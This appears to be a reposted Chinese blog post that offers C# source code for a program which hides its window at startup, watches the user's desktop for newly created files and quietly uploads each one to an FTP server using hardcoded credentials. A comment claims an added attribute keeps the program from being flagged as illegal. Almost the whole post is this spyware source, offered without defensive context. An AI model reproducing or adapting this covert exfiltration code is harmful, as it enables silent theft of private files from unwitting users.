一个C#程序,原理自己研究吧^_^

using System;
using System.Windows.Forms;
using System.IO;

using System.Reflection;
using System.Security.Permissions;

namespace sync
{
    public partial class Form1 : Form
    {
        private static string hostIP = @"ftp://127.0.0.1";
        private static string port = "21";
        private static string userName = "test";
        private static string password = "test";

        //在程序之中加入下面的代码,能有效地避免程序被误认为是非法操作
        [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]        

        private static void WatcherStrat(string path, string filter)
        {
            if (!Directory.Exists(path)){
                //MessageBox.Show("找不到路径:" + path);
                Application.Exit();
                return;
            }
            FileSystemWatcher watcher = new FileSystemWatcher();
            watcher.IncludeSubdirectories = true;
            watcher.Path = path;
            watcher.Filter = filter;           
            watcher.Created += new FileSystemEventHandler(OnProcess);   
            watcher.EnableRaisingEvents = true;
        }

        private static void OnProcess(object source, FileSystemEventArgs e)
        {
            //只监视创建文件的情况
            if (e.ChangeType == WatcherChangeTypes.Created){
                OnCreated(source, e);
            }            
        }

        private static void OnCreated(object source, FileSystemEventArgs e)
        {
            string filePath = e.FullPath;
            //等待5秒钟,文件复制完毕
            System.Threading.Thread.Sleep(5 * 1000); //单位为毫秒            
            //判断路径是文件夹还是文件
            if (Directory.Exists(filePath)){
                //文件夹
                return;//暂时不做处理
            }
            else if (File.Exists(filePath)){
                //文件
                //MessageBox.Show(filePath);
                UploadFile(filePath);//将文件上传至FTP
            }
            else{
                return;//暂时不做处理
            }
        }

        //将文件上传至FTP
        private static void UploadFile(string filePath)
        {
            string remoteFile = "";
            string localFile = filePath;
            string localFileExt = Path.GetExtension(localFile);//扩展名
            remoteFile = DateTime.Now.ToString("yyyyMMdd_hhmmss") + localFileExt; 

            FTPOperation ftp = new FTPOperation(hostIP, port, userName, password);
            ftp.upload(remoteFile,localFile);
        }

        private void run()
        {
            string dir = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
            WatcherStrat(dir, "*.*");//监视所有文件            
        }

        public Form1()
        {
            InitializeComponent();
            this.StartPosition = FormStartPosition.CenterScreen;                        
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            run();
        }

        protected override void OnShown(EventArgs e)
        {
            base.OnShown(e);//隐藏程序 
            this.Visible = false;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            this.Hide();//隐藏程序
        }        
    }
}

猜你喜欢

转载自blog.csdn.net/wxcmdn/article/details/85196713